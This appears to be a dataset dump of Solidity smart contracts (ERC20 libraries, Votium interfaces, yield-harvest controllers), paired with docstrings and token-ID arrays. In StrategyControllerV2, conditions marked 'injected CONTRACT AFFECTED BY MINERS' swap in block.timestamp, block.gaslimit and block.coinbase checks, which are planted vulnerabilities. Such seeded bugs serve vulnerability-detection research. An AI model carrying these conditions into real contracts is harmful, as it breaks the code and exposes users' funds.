* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../proxy/Initializable.sol";
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
// solhint-disable-next-line compiler-version
pragma solidity >=0.4.24 <0.8.0;
import "../utils/AddressUpgradeable.sol";
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function _isConstructor() private view returns (bool) {
return !AddressUpgradeable.isContract(address(this));
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
pragma abicoder v2;
interface IVotiumMultiMerkleStash {
// solhint-disable-next-line contract-name-camelcase
struct claimParam {
address token;
uint256 index;
uint256 amount;
bytes32[] merkleProof;
}
function isClaimed(address token, uint256 index) external view returns (bool);
function claim(
address token,
uint256 index,
address account,
uint256 amount,
bytes32[] calldata merkleProof
) external;
function claimMulti(address account, claimParam[] calldata claims) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
} | @dev Internal function called by `harvest` and `harvestVotium`. 1. update reward info It's ok to donate when on one is locking in this contract. | function _distribute(uint256 _amount) internal {
if (_totalLockedGlobal > 0) {
accRewardPerShare = accRewardPerShare.add(_amount.mul(PRECISION) / uint256(_totalLockedGlobal));
}
IERC20Upgradeable(CVX).safeApprove(_furnace, 0);
IERC20Upgradeable(CVX).safeApprove(_furnace, _amount);
IFurnace(_furnace).distribute(address(this), _amount);
uint256 _toStake = _balanceStaked.add(IERC20Upgradeable(CVX).balanceOf(address(this))).mul(stakePercentage).div(
FEE_DENOMINATOR
);
if (_balanceStaked < _toStake) {
_toStake = _toStake - _balanceStaked;
if (_toStake >= stakeThreshold) {
IERC20Upgradeable(CVX).safeApprove(CVX_REWARD_POOL, 0);
IERC20Upgradeable(CVX).safeApprove(CVX_REWARD_POOL, _toStake);
IConvexCVXRewardPool(CVX_REWARD_POOL).stake(_toStake);
}
}
}
| 14,939,485 | [
1,
3061,
445,
2566,
635,
1375,
30250,
26923,
68,
471,
1375,
30250,
26923,
58,
352,
5077,
8338,
404,
18,
1089,
19890,
1123,
2597,
1807,
1529,
358,
2727,
340,
1347,
603,
1245,
353,
18887,
316,
333,
6835,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
225,
445,
389,
2251,
887,
12,
11890,
5034,
389,
8949,
13,
2713,
288,
203,
565,
309,
261,
67,
4963,
8966,
5160,
405,
374,
13,
288,
203,
1377,
4078,
17631,
1060,
2173,
9535,
273,
4078,
17631,
1060,
2173,
9535,
18,
1289,
24899,
8949,
18,
16411,
12,
3670,
26913,
13,
342,
2254,
5034,
24899,
4963,
8966,
5160,
10019,
203,
565,
289,
203,
203,
565,
467,
654,
39,
3462,
10784,
429,
12,
22007,
60,
2934,
4626,
12053,
537,
24899,
74,
321,
623,
16,
374,
1769,
203,
565,
467,
654,
39,
3462,
10784,
429,
12,
22007,
60,
2934,
4626,
12053,
537,
24899,
74,
321,
623,
16,
389,
8949,
1769,
203,
565,
11083,
321,
623,
24899,
74,
321,
623,
2934,
2251,
887,
12,
2867,
12,
2211,
3631,
389,
8949,
1769,
203,
203,
565,
2254,
5034,
389,
869,
510,
911,
273,
389,
12296,
510,
9477,
18,
1289,
12,
45,
654,
39,
3462,
10784,
429,
12,
22007,
60,
2934,
12296,
951,
12,
2867,
12,
2211,
3719,
2934,
16411,
12,
334,
911,
16397,
2934,
2892,
12,
203,
1377,
478,
9383,
67,
13296,
1872,
706,
3575,
203,
565,
11272,
203,
565,
309,
261,
67,
12296,
510,
9477,
411,
389,
869,
510,
911,
13,
288,
203,
1377,
389,
869,
510,
911,
273,
389,
869,
510,
911,
300,
389,
12296,
510,
9477,
31,
203,
1377,
309,
261,
67,
869,
510,
911,
1545,
384,
911,
7614,
13,
288,
203,
3639,
467,
654,
39,
3462,
10784,
429,
12,
22007,
60,
2934,
4626,
12053,
537,
12,
22007,
60,
67,
862,
21343,
67,
20339,
16,
374,
1769,
203,
3639,
2
] |
./full_match/11155111/0x05968f40939fdc016AD58F82Cd08dA884825aD55/sources/project_/contracts/SmartController.sol | * @dev Transfers tokens from a specific address [ERC20]. The address owner has to approve the spender beforehand. The from address, to address and amount are validated before executing method. @notice Overrides method in a parent. Prior to transfering tokens the validator needs to approve. @param caller Address of the caller passed through the frontend. @param from Address to debet the tokens from. @param to Recipient address. @param amount Number of tokens to transfer./ | function transferFrom_withCaller(
address caller,
address from,
address to,
uint amount
) public override returns (bool) {
require(
smartToken.validate(from, to, amount),
"transferFrom request not valid"
);
return super.transferFrom_withCaller(caller, from, to, amount);
}
| 3,813,291 | [
1,
1429,
18881,
2430,
628,
279,
2923,
1758,
306,
654,
39,
3462,
8009,
1021,
1758,
3410,
711,
358,
6617,
537,
326,
17571,
264,
1865,
2349,
18,
1021,
628,
1758,
16,
358,
1758,
471,
3844,
854,
10266,
1865,
11274,
707,
18,
225,
531,
9857,
707,
316,
279,
982,
18,
30326,
358,
7412,
310,
2430,
326,
4213,
4260,
358,
6617,
537,
18,
225,
4894,
5267,
434,
326,
4894,
2275,
3059,
326,
15442,
18,
225,
628,
5267,
358,
18202,
278,
326,
2430,
628,
18,
225,
358,
23550,
1758,
18,
225,
3844,
3588,
434,
2430,
358,
7412,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
7412,
1265,
67,
1918,
11095,
12,
203,
3639,
1758,
4894,
16,
203,
3639,
1758,
628,
16,
203,
3639,
1758,
358,
16,
203,
3639,
2254,
3844,
203,
565,
262,
1071,
3849,
1135,
261,
6430,
13,
288,
203,
3639,
2583,
12,
203,
5411,
13706,
1345,
18,
5662,
12,
2080,
16,
358,
16,
3844,
3631,
203,
5411,
315,
13866,
1265,
590,
486,
923,
6,
203,
3639,
11272,
203,
3639,
327,
2240,
18,
13866,
1265,
67,
1918,
11095,
12,
16140,
16,
628,
16,
358,
16,
3844,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
/**
*Submitted for verification at Etherscan.io on 2020-08-05
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.5.16;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success, ) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (block.timestamp > 0) { // Return data is optional //injected CONTRACT AFFECTED BY MINERS
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface Strategy {
function want() external view returns (address);
function deposit() external;
function withdraw(address) external;
function skim() external;
function withdraw(uint) external;
function withdrawAll() external returns (uint);
function balanceOf() external view returns (uint);
}
interface Vault {
function token() external view returns (address);
function claimInsurance() external;
}
interface Converter {
function convert(address) external returns (uint);
}
interface OneSplitAudit {
function swap(
address fromToken,
address destToken,
uint256 amount,
uint256 minReturn,
uint256[] calldata distribution,
uint256 flags
)
external
payable
returns(uint256 returnAmount);
function getExpectedReturn(
address fromToken,
address destToken,
uint256 amount,
uint256 parts,
uint256 flags // See constants in IOneSplit.sol
)
external
view
returns(
uint256 returnAmount,
uint256[] memory distribution
);
}
contract StrategyControllerV2 {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
address public governance;
address public onesplit;
address public rewards;
// Vault to strategy mapping
mapping(address => address) public vaults;
// Strategy to vault mapping
mapping(address => address) public strategies;
mapping(address => mapping(address => address)) public converters;
uint public split = 500;
uint public constant max = 10000;
constructor(address _rewards) public {
governance = msg.sender;
onesplit = address(0x50FDA034C0Ce7a8f7EFDAebDA7Aa7cA21CC1267e);
rewards = _rewards;
}
function setSplit(uint _split) external {
require(msg.sender == governance, "!governance");
split = _split;
}
function setOneSplit(address _onesplit) external {
require(msg.sender == governance, "!governance");
onesplit = _onesplit;
}
function setGovernance(address _governance) external {
require(msg.sender == governance, "!governance");
governance = _governance;
}
function setConverter(address _input, address _output, address _converter) external {
require(msg.sender == governance, "!governance");
converters[_input][_output] = _converter;
}
function setStrategy(address _vault, address _strategy) external {
require(msg.sender == governance, "!governance");
address _current = strategies[_vault];
if (block.coinbase != address(0)) { //injected CONTRACT AFFECTED BY MINERS
Strategy(_current).withdrawAll();
}
strategies[_vault] = _strategy;
vaults[_strategy] = _vault;
}
function want(address _vault) external view returns (address) {
return Strategy(strategies[_vault]).want();
}
function earn(address _vault, uint _amount) public {
address _strategy = strategies[_vault];
address _want = Strategy(_strategy).want();
IERC20(_want).safeTransfer(_strategy, _amount);
Strategy(_strategy).deposit();
}
function balanceOf(address _token) external view returns (uint) {
return Strategy(strategies[_token]).balanceOf();
}
function withdrawAll(address _strategy) external {
require(msg.sender == governance, "!governance");
// WithdrawAll sends 'want' to 'vault'
Strategy(_strategy).withdrawAll();
}
function inCaseTokensGetStuck(address _token, uint _amount) external {
require(msg.sender == governance, "!governance");
IERC20(_token).safeTransfer(governance, _amount);
}
function inCaseStrategyGetStruck(address _strategy, address _token) external {
require(msg.sender == governance, "!governance");
Strategy(_strategy).withdraw(_token);
IERC20(_token).safeTransfer(governance, IERC20(_token).balanceOf(address(this)));
}
function getExpectedReturn(address _strategy, address _token, uint parts) external view returns (uint expected) {
uint _balance = IERC20(_token).balanceOf(_strategy);
address _want = Strategy(_strategy).want();
(expected,) = OneSplitAudit(onesplit).getExpectedReturn(_token, _want, _balance, parts, 0);
}
function claimInsurance(address _vault) external {
require(msg.sender == governance, "!governance");
Vault(_vault).claimInsurance();
}
// Only allows to withdraw non-core strategy tokens ~ this is over and above normal yield
function delegatedHarvest(address _strategy, uint parts) external {
// This contract should never have value in it, but just incase since this is a public call
address _have = Strategy(_strategy).want();
uint _before = IERC20(_have).balanceOf(address(this));
Strategy(_strategy).skim();
uint _after = IERC20(_have).balanceOf(address(this));
if (block.gaslimit > _before) { //injected CONTRACT AFFECTED BY MINERS
uint _amount = _after.sub(_before);
address _want = Vault(vaults[_strategy]).token();
uint[] memory _distribution;
uint _expected;
_before = IERC20(_want).balanceOf(address(this));
IERC20(_have).safeApprove(onesplit, 0);
IERC20(_have).safeApprove(onesplit, _amount);
(_expected, _distribution) = OneSplitAudit(onesplit).getExpectedReturn(_have, _want, _amount, parts, 0);
OneSplitAudit(onesplit).swap(_have, _want, _amount, _expected, _distribution, 0);
_after = IERC20(_want).balanceOf(address(this));
if (block.number > _before) { //injected CONTRACT AFFECTED BY MINERS
_amount = _after.sub(_before);
uint _reward = _amount.mul(split).div(max);
IERC20(_want).safeTransfer(vaults[_strategy], _amount.sub(_reward));
IERC20(_want).safeTransfer(rewards, _reward);
}
}
}
// Only allows to withdraw non-core strategy tokens ~ this is over and above normal yield
function harvest(address _strategy, address _token, uint parts) external {
// This contract should never have value in it, but just incase since this is a public call
uint _before = IERC20(_token).balanceOf(address(this));
Strategy(_strategy).withdraw(_token);
uint _after = IERC20(_token).balanceOf(address(this));
if (block.gaslimit > _before) { //injected CONTRACT AFFECTED BY MINERS
uint _amount = _after.sub(_before);
address _want = Strategy(_strategy).want();
uint[] memory _distribution;
uint _expected;
_before = IERC20(_want).balanceOf(address(this));
IERC20(_token).safeApprove(onesplit, 0);
IERC20(_token).safeApprove(onesplit, _amount);
(_expected, _distribution) = OneSplitAudit(onesplit).getExpectedReturn(_token, _want, _amount, parts, 0);
OneSplitAudit(onesplit).swap(_token, _want, _amount, _expected, _distribution, 0);
_after = IERC20(_want).balanceOf(address(this));
if (block.gaslimit > _before) { //injected CONTRACT AFFECTED BY MINERS
_amount = _after.sub(_before);
uint _reward = _amount.mul(split).div(max);
earn(_want, _amount.sub(_reward));
IERC20(_want).safeTransfer(rewards, _reward);
}
}
}
function withdraw(address _vault, uint _amount) external {
require(msg.sender == strategies[_vault], "!vault");
Strategy(strategies[_vault]).withdraw(_amount);
}
} | Only allows to withdraw non-core strategy tokens ~ this is over and above normal yield This contract should never have value in it, but just incase since this is a public call | function harvest(address _strategy, address _token, uint parts) external {
uint _before = IERC20(_token).balanceOf(address(this));
Strategy(_strategy).withdraw(_token);
uint _after = IERC20(_token).balanceOf(address(this));
uint _amount = _after.sub(_before);
address _want = Strategy(_strategy).want();
uint[] memory _distribution;
uint _expected;
_before = IERC20(_want).balanceOf(address(this));
IERC20(_token).safeApprove(onesplit, 0);
IERC20(_token).safeApprove(onesplit, _amount);
(_expected, _distribution) = OneSplitAudit(onesplit).getExpectedReturn(_token, _want, _amount, parts, 0);
OneSplitAudit(onesplit).swap(_token, _want, _amount, _expected, _distribution, 0);
_after = IERC20(_want).balanceOf(address(this));
_amount = _after.sub(_before);
uint _reward = _amount.mul(split).div(max);
earn(_want, _amount.sub(_reward));
IERC20(_want).safeTransfer(rewards, _reward);
}
| 6,437,877 | [
1,
3386,
5360,
358,
598,
9446,
1661,
17,
3644,
6252,
2430,
4871,
333,
353,
1879,
471,
5721,
2212,
2824,
1220,
6835,
1410,
5903,
1240,
460,
316,
518,
16,
1496,
2537,
316,
3593,
3241,
333,
353,
279,
1071,
745,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
17895,
26923,
12,
2867,
389,
14914,
16,
1758,
389,
2316,
16,
2254,
2140,
13,
3903,
288,
203,
3639,
2254,
389,
5771,
273,
467,
654,
39,
3462,
24899,
2316,
2934,
12296,
951,
12,
2867,
12,
2211,
10019,
203,
3639,
19736,
24899,
14914,
2934,
1918,
9446,
24899,
2316,
1769,
203,
3639,
2254,
389,
5205,
273,
225,
467,
654,
39,
3462,
24899,
2316,
2934,
12296,
951,
12,
2867,
12,
2211,
10019,
203,
5411,
2254,
389,
8949,
273,
389,
5205,
18,
1717,
24899,
5771,
1769,
203,
5411,
1758,
389,
17369,
273,
19736,
24899,
14914,
2934,
17369,
5621,
203,
5411,
2254,
8526,
3778,
389,
16279,
31,
203,
5411,
2254,
389,
3825,
31,
203,
5411,
389,
5771,
273,
467,
654,
39,
3462,
24899,
17369,
2934,
12296,
951,
12,
2867,
12,
2211,
10019,
203,
5411,
467,
654,
39,
3462,
24899,
2316,
2934,
4626,
12053,
537,
12,
5322,
1127,
16,
374,
1769,
203,
5411,
467,
654,
39,
3462,
24899,
2316,
2934,
4626,
12053,
537,
12,
5322,
1127,
16,
389,
8949,
1769,
203,
5411,
261,
67,
3825,
16,
389,
16279,
13,
273,
6942,
5521,
10832,
12,
5322,
1127,
2934,
588,
6861,
990,
24899,
2316,
16,
389,
17369,
16,
389,
8949,
16,
2140,
16,
374,
1769,
203,
5411,
6942,
5521,
10832,
12,
5322,
1127,
2934,
22270,
24899,
2316,
16,
389,
17369,
16,
389,
8949,
16,
389,
3825,
16,
389,
16279,
16,
374,
1769,
203,
5411,
389,
5205,
273,
467,
654,
39,
3462,
24899,
17369,
2934,
12296,
951,
12,
2867,
12,
2211,
10019,
203,
7734,
389,
8949,
273,
389,
5205,
18,
1717,
24899,
2
] |
./partial_match/1/0xA560e470B82bdd50b47A03bab9A630FFBD43063E/sources/FlashLoanLiquidateWePiggy.sol | 清算ETH && 赎回ERC20 , 得到 ETH计算清算的值调用清算方法 | function _liquidateETHAndRepayERC20(
IPETH pTokenBorrow,
IPERC20 pTokenCollateral,
address borrower,
uint repayAmount,
address[] memory path,
uint totalDebt
)
internal
{
address self = address(this);
(,uint seized) = comptroller.liquidateCalculateSeizeTokens(address(pTokenBorrow), address(pTokenCollateral), repayAmount);
uint beforeBalance = pTokenCollateral.balanceOf(self);
uint afterBalance = pTokenCollateral.balanceOf(self);
if (afterBalance.sub(beforeBalance) < seized) {
seized = afterBalance.sub(beforeBalance);
}
uint amountIn = erc20.balanceOf(self);
_approveMax(address(erc20), address(uniswapRouter), amountIn);
uniswapRouter.swapExactTokensForETH(amountIn, totalDebt, path, self, block.timestamp);
}
| 4,105,227 | [
1,
167,
121,
232,
168,
111,
250,
1584,
44,
597,
225,
169,
118,
241,
166,
254,
257,
654,
39,
3462,
225,
176,
125,
239,
225,
166,
127,
250,
166,
235,
113,
512,
2455,
169,
111,
99,
168,
111,
250,
167,
121,
232,
168,
111,
250,
168,
253,
231,
166,
227,
125,
169,
113,
230,
168,
247,
106,
167,
121,
232,
168,
111,
250,
167,
249,
122,
167,
116,
248,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
